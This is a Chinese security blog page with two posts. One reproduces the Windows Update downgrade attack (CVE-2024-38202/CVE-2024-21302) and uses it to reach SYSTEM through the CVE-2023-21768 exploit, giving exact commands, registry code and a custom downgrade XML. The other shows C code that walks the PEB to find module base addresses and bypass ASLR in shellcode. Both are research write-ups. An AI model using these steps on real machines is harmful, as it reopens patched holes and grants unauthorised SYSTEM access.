普通视图

发现新文章,点击刷新页面。
昨天以前首页
  • ✇BeaCox
  • Windows 更新降级攻击复现与分析BeaCox
    SafeBreach 的安全研究员 Alon Leviev 在 Black Hat 2024 上揭示了两个漏洞CVE-2024-38202 和 CVE-2024-21302 ,可用于破坏 Windows 更新的完整性并重新引入数千个以前修复的漏洞,从而将修补后的系统重新变成 0day 漏洞的目标。环境准备Windows版本:Windows 11 消费者版本 23H2(2024年6月更新)x64磁力连接:1ed2k://|file|zh-cn_windows_11_consumer_editions_version_23h2_updated_june_2024_x64_dvd_78b33b16.iso|7141826560|9BCE0FF18791A035ED8541A3EF8C791A|/下载后导入到 VMware。PoC 工具下载https://github.com/SafeBreach-Labs/WindowsDowndate仓库中也提供了 PyInstaller 构建好的可执行程序。漏洞复现运行 winver 看一下版本:Windows11 23H2 22631.3880以管理员
     

Windows 更新降级攻击复现与分析

作者 BeaCox
2024年8月22日 14:00

SafeBreach 的安全研究员 Alon Leviev 在 Black Hat 2024 上揭示了两个漏洞CVE-2024-38202 和 CVE-2024-21302 ,可用于破坏 Windows 更新的完整性并重新引入数千个以前修复的漏洞,从而将修补后的系统重新变成 0day 漏洞的目标。

环境准备

Windows版本:Windows 11 消费者版本 23H2(2024年6月更新)x64

磁力连接:

1
ed2k://|file|zh-cn_windows_11_consumer_editions_version_23h2_updated_june_2024_x64_dvd_78b33b16.iso|7141826560|9BCE0FF18791A035ED8541A3EF8C791A|/

下载后导入到 VMware。

PoC 工具下载

https://github.com/SafeBreach-Labs/WindowsDowndate
仓库中也提供了 PyInstaller 构建好的可执行程序。

漏洞复现

运行 winver 看一下版本:Windows11 23H2 22631.3880
winver

以管理员权限运行PoC程序,降级到 CVE-2023-21768 可攻击的环境(AFD 驱动):

1
./windows_downdate --config-xml examples/CVE-2023-21768-AFD-Driver-EoP-Patch-Downgrade/Config.xml

downdate

需要重启,重启完成后运行cmd。
切换到 CVE-2023-21768 利用程序目录,运行 whomai 可知目前是普通用户。
找到当前 cmd 的 pid:

1
tasklist | find "cmd.exe"

运行 CVE-2023-21768 利用程序,指定要提升权限的进程为当前 cmd 进程:

1
.\Windows_AFD_LPE_CVE-2023-21768.exe <pid>

exp

再次运行 whoami 发现已经拿到 system 权限。

漏洞分析

我能够使完全修补的 Windows 机器容易受到数千个过去漏洞的影响,将修复的漏洞变成零日漏洞,并使“完全修补”一词在世界上任何 Windows 机器上都毫无意义。

Windows 更新流程

首先需要知道的是,Windows 的更新需要客户端管理权限,而更新服务器会运行受信任的安装程序来完成更新。即使是 SYSTEM 权限,也不能修改 Windows 更细节机制拥有的系统文件。

Windows 更新流程包括以下步骤:

  1. 首先,客户端要求服务器执行它提供的更新文件夹中包含的更新。
  2. 然后,服务器验证更新文件夹的完整性。
  3. 验证后,服务器将对更新文件夹进行操作,以完成更新文件。它们被保存到服务器控制的文件夹中,客户端无法访问该文件夹。
  4. 服务器将操作列表保存到服务器控制的文件夹中,客户端无法访问该文件夹。操作列表名为 Pending.xml,其中包含要执行的更新操作。例如,它指定要更新的文件、源文件和目标文件等。
  5. 最后,当操作系统重启时,将对操作列表进行操作,并在重启过程中执行更新操作。

其中第5步的更新是由受信任的安装程序在服务器端强制执行的,管理员想要提权到受信任安装程序权限会被 EDR(Endpoint Detection and Response) 阻止。因此想要代替更新服务器来完成更新是不可能的

作者一开始的目标是更新文件夹中的差异文件。但是 manifest 里硬编码了更新文件的哈希值,而更改这个值会破坏 manifest 文件的签名(在 catalog 文件中)。

漏洞点

于是作者把目标放在了操作列表(pending.xml)的修改上,并发现了注册表一个名为PoqexecCmdline的有趣的 key,它包含了一个可以解析操作列表和操作列表路径的可执行程序。其路径为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\Configuration\PoqexecCmdline

而且这个 key 不是由受信任的安装程序强制执行,意味着我们可以用管理员权限来修改添加这个key并修改其值。这个 key 的作用是什么呢?它标志着需要更新,受信任安装服务在检测到这个 key 后,会将其值作为命令执行,而这个命令可以用于解析操作列表及其路径,这意味着修改这个 key 也就完全控制了操作列表
源代码中定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
def register_poqexec_cmd(poqexec_cmd: str) -> None:
"""
Registers the PoqexecCmdLine registry key containing the Pending.xml path

:param poqexec_cmd: The PoqExec.exe command line. Usually it is as follows -
path/to/poqexec.exe params pending_xml_nt_path
:return: None
"""
set_reg_value(winreg.HKEY_LOCAL_MACHINE,
SIDE_BY_SIDE_CONFIGURATION_REGISTRY_PATH,
"PoqexecCmdline",
[poqexec_cmd],
winreg.REG_MULTI_SZ)

源代码中调用:

1
2
3
4
5
def pend_update(pending_xml_path: str, impersonate_ti: bool) -> None:
...
poqexec_path_exp = os.path.expandvars(POQEXEC_PATH)
poqexec_cmd = f"{poqexec_path_exp} /display_progress \\??\\{pending_xml_path}"
register_poqexec_cmd(poqexec_cmd)

可以发现程序生成了一行完整的poqexec.exe命令并将其写为了这个 key 的值,其中pending_xml_path也由我们控制,其相应文件中内容就是我们之前运行的命令中--config-xml选项后指定的 xml 文件内容。

这个xml,即操作列表(pending.xml)提供创建文件、删除文件、移动文件、硬链接文件、创建注册表键和值、删除键和值等功能。例如,为了降级,可以使用硬链接文件操作,source 文件将替换 destination:

1
<HardlinkFile source="C:\UpdateDir\Source.exe" destination="C:\Windows\System32\Destination.exe"/>

将 destination 设置为要降级的目标文件,将 source 替换为降级后的文件即可。

攻击流程

攻击的主要思想就是修改操作列表。但是还需要经过一些验证/找到触发更新操作的方式,主要流程如下:

  1. 将受信任安装服务设置为自启动,这样重启系统后会检查是否需要更新
  2. 在注册表中添加PoqexecCmdline及相应的值,指定操作列表路径
  3. 添加操作列表的标识符
    标识符是一个动态数字,出于完整性目的,将它与操作列表的标识符进行比较。从代码中可以看到,在 xml 中设置的标识符要和在注册表中 PendingXmlIdentifier 的值一样。
    1
    2
    3
    4
    5
    6
    7
    8
    PENDING_XML_IDENTIFIER = "916ae75edb30da0146730000dc1be027"

    EMPTY_PENDING_XML = f"""<?xml version='1.0' encoding='utf-8'?>\n
    <PendingTransaction Version="3.1" WcpVersion="10.0.22621.2567 (WinBuild.160101.0800)" Identifier="{PENDING_XML_IDENTIFIER}">
    ...
    """
    ...
    set_pending_xml_identifier(PENDING_XML_IDENTIFIER)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    def set_pending_xml_identifier(pending_xml_identifier: str) -> None:
    """
    Sets the Pendning.xml identifier in registry

    :param pending_xml_identifier: The Pending.xml identifier
    :return: None
    :note: This API assumes the COMPONENTS hive is loaded to the registry
    :note: If this identifier is not equal to the Pending.xml identifier, PoqExec.exe will fail parsing Pending.xml
    """
    pending_xml_identifier_bytes = bytes(pending_xml_identifier, "utf-8")
    pending_xml_identifier_unicode = b"\x00".join(bytes([byte]) for byte in pending_xml_identifier_bytes) + b"\x00"
    set_reg_value(winreg.HKEY_LOCAL_MACHINE,
    "COMPONENTS",
    "PendingXmlIdentifier",
    pending_xml_identifier_unicode,
    winreg.REG_BINARY)

先前,在执行 PoC 代码后,我们重启并完成了对另一个漏洞的攻击。
在这个过程中:

  1. Windows 更新机制中的受信任安装服务自启动
  2. 检测到PoqexecCmdline,执行其中命令设置操作列表路径
  3. 受信任安装程序根据我们构建的 xml 文件进行更新,导致文件被替换成低版本脆弱文件
  4. 降级攻击完成

由于这个过程被 Windows 更新机制接管,因此十分隐蔽。

更多

原文中还提到绕过 VBS(Virtualization-Based Security) UEFI 锁等内容,这里只对降级攻击做简单介绍,感兴趣可以看原文。

自定义降级攻击

Windows 降级支持制作自定义降级。要制作自定义降级,你需要创建一个配置 XML 文件,然后将此配置 XML 输入工具即可。

在 CVE-2023-21768 的攻击中,我们用到的 XML 文件如下:

1
2
3
4
5
<Configuration>
<UpdateFilesList>
<UpdateFile source="%CWD%\examples\CVE-2023-21768-AFD-Driver-EoP-Patch-Downgrade\UpdateFiles\afd.sys" destination="C:\Windows\System32\Drivers\afd.sys" />
</UpdateFilesList>
</Configuration>

原理非常简单,就是定义用于替换的文件路径和目标文件路径。
只要是 Windows 下与系统文件版本有关的漏洞就可以自定义降级攻击。

结语

Windows 对于安全边界的划分似乎总是异于常人啊。。。

Max Severity: Important

Attack Complexity: Low

Privileges Required: Low

Exploit Code Maturity: Proof-of-Concept

Remediation Level: Unavailable

前几条和最后一条竟能同时出现在同一则安全公告中,真乃神人也。

  • ✇BeaCox
  • Windows PEB 利用BeaCox
    ASLRASLR,全称 Address space layout randomization,即地址空间配置随机加载。多数现代的应用程序都会开启 ASLR。目的是防止攻击者事先获知程序的虚拟内存地址,防止攻击者能可靠地跳转到内存的特定位置来利用函数。在Linux中,ASLR 的实现方式是同一个应用程序每次启动都会被加载到不同的位置。而在 Windows 中,只能保证系统重启后地址的随机性。究其原因,是对性能和安全性权衡后的结果。由于 Windows 不采用 PIE,因此其 ASLR 的实现需要付出内存代价。 每次将库映射到不同地址时,都会占用更多内存。当然这也意味着,如果我们在某台 Windows 机器上获取了一次库函数的虚拟地址,在其重启之前,我们都能够继续使用。PEB在 Linux 中,内核通过task_struct保存并管理进程相关的信息,在 Windows 中起到类似作用的是PEB。当然,还是有许多不同之处。例如 PEB 在用户态中而 task_struct在内核态中。进程环境块(PEB)是 Windows NT操作系统内部使用的数据结构,用以存储每个进程的运行时数据。维基百科
     

Windows PEB 利用

作者 BeaCox
2024年3月16日 20:00

ASLR

ASLR,全称 Address space layout randomization,即地址空间配置随机加载。多数现代的应用程序都会开启 ASLR。目的是防止攻击者事先获知程序的虚拟内存地址,防止攻击者能可靠地跳转到内存的特定位置来利用函数。

在Linux中,ASLR 的实现方式是同一个应用程序每次启动都会被加载到不同的位置。而在 Windows 中,只能保证系统重启后地址的随机性。

究其原因,是对性能和安全性权衡后的结果。由于 Windows 不采用 PIE,因此其 ASLR 的实现需要付出内存代价。 每次将库映射到不同地址时,都会占用更多内存。

当然这也意味着,如果我们在某台 Windows 机器上获取了一次库函数的虚拟地址,在其重启之前,我们都能够继续使用。

PEB

在 Linux 中,内核通过task_struct保存并管理进程相关的信息,在 Windows 中起到类似作用的是PEB。当然,还是有许多不同之处。例如 PEB 在用户态中而 task_struct在内核态中。

进程环境块PEB)是 Windows NT操作系统内部使用的数据结构,用以存储每个进程的运行时数据。

维基百科对 PEB 的描述足够全面,推荐感兴趣的读者继续阅读,值得注意的是中文翻译有些瑕疵。说回到 PEB,PEB 是一个结构体,包含了进程是否被调试、被加载模块的虚拟地址等大量信息。

在 Windows 11 23H2 (2023 Update) 版本的内核中,PEB 的部分定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//0x7d0 bytes (sizeof)
struct _PEB
{
UCHAR InheritedAddressSpace; //0x0
UCHAR ReadImageFileExecOptions; //0x1
UCHAR BeingDebugged; //0x2
union
{
UCHAR BitField; //0x3
struct
{
UCHAR ImageUsesLargePages:1; //0x3
UCHAR IsProtectedProcess:1; //0x3
UCHAR IsImageDynamicallyRelocated:1; //0x3
UCHAR SkipPatchingUser32Forwarders:1; //0x3
UCHAR IsPackagedProcess:1; //0x3
UCHAR IsAppContainer:1; //0x3
UCHAR IsProtectedProcessLight:1; //0x3
UCHAR IsLongPathAwareProcess:1; //0x3
};
};
UCHAR Padding0[4]; //0x4
VOID* Mutant; //0x8
VOID* ImageBaseAddress; //0x10
struct _PEB_LDR_DATA* Ldr; //0x18
struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x20
VOID* SubSystemData; //0x28
VOID* ProcessHeap; //0x30
struct _RTL_CRITICAL_SECTION* FastPebLock; //0x38
union _SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
VOID* IFEOKey; //0x48
……
};

在本文中,我们主要关注偏移为 0x18 的 Ldr 字段。为什么?因为它包含了被加载模块(用到的库)的虚拟地址。

Ldr 概览

在利用之前,或许应该先看看这个字段包含什么内容。我先在 Windbg 中随机打开一个应用程序看看 PEB 及 Ldr 的内容。

lm

在命令框中键入lm,即 list modules,可以看到这个应用加载了5个模块。其中a是程序本身的名字(a.exe),而KERNEL32是我们关心的另一个模块,因为它控制着系统的内存管理、数据的输入输出操作和中断处理,或者换句话说,其中有许多我们可以利用的函数(如WriteFile()用来写)。在不使用调试工具的时候我们无法如此便捷地获取被加载模块的地址,因此我们需要用到 PEB。

在 Windbg 中也可以很方便地查看 PEB 信息:

!peb

在命令框中键入!peb可以看到 Ldr.InMemoryOrderModuleList下存储着被加载模块地基地址,其中第一个和第三个是我们的目标,其显示的基地址和之前使用lm命令查看到的地址是一致的。

值得一提的是,这些 Modules 正是以 List 链表形式存储的。我们简单地验证一下:

list

不难发现,在每个条目的开头存储着下一个条目的地址,而偏移 0x20 处存储着被加载模块的基地址。因此当我们表头的地址时,我们可以通过每个链表项跳转到下一个链表项、可以获取每个链表项下模块的基地址。

PoC

接下来就是编写 C 代码获取被加载模块虚拟地址的 demo 了。我们先提出尚未解决的几个问题:

  1. 如何获得 PEB 结构体在内存中的地址?
  2. Ldr 相对 PEB 的偏移量已知是 0x18,Ldr.InMemoryOrderModuleList 相对 Ldr 的偏移是多少?

先回答第二个问题:Ldr.InMemoryOrderModuleList 相对 Ldr 的偏移是 0x20 。并且在我们编写 C 代码的时候,不需要知道具体的偏移量,只需要知道字段名称即可,相应的库会帮我们处理好偏移量。

接着是第一个问题:Windows 用 FS/GS 寄存器来存储 PEB 的地址,分别对应32位/64位。具体如下:

  • 32位:fs:0x30
  • 64位:gs:0x60

:后代表偏移量。

解决了这两个问题之后就可以编写 C 代码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winnt.h>
#include <winternl.h>

int main(void) {
// __readgsqword(0x60) equals to mov <register>, gs:[0x60]
PPEB pebPtr = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA ldrData = pebPtr->Ldr;
PLIST_ENTRY moduleList = &ldrData->InMemoryOrderModuleList;
// Get the first module in the list
PLDR_DATA_TABLE_ENTRY program_module = CONTAINING_RECORD(moduleList->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

// Skip 3 modules to get kernel32.dll
moduleList = moduleList->Flink;
moduleList = moduleList->Flink;
moduleList = moduleList->Flink;
// Get kernel32.dll
PLDR_DATA_TABLE_ENTRY kernel32_module = CONTAINING_RECORD(moduleList, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
PVOID program_base = program_module->DllBase;
PVOID kernel32_base = kernel32_module->DllBase;
printf("Program base: %p\n", program_base);
printf("Kernel32 base: %p\n", kernel32_base);

return 0;
}

简单地解释一下流程:

  1. 通过 gs 寄存器获取 PEB 地址
  2. 通过 PEB 结构体获取 Ldr
  3. 通过 Ldr 获取 InMemoryOrderModuleList
  4. Flink 一次将取出表头,在固定的偏移处可以取出程序基地址
  5. Flink 3次将取出第三项,在同样的偏移处可以取出 Kernel32.dll 的基地址

编译成可执行文件并运行:

1
2
gcc poc.c
./a.exe

得到输出:

1
2
Program base: 0000000000400000
Kernel32 base: 00007FFEBE4B0000

发现与在 Windbg 中得到的一致。

这证明:我们可以通过编写 C 代码获得被加载模块的基地址。更进一步地,我们的 C 代码经过编译后反汇编得到的汇编代码简单清晰,这意味着我们可以编写比较简单的汇编来实现这一目标。换言之,我们可以在 shellcode 中实现这一目标从而绕过 ASLR。

❌
❌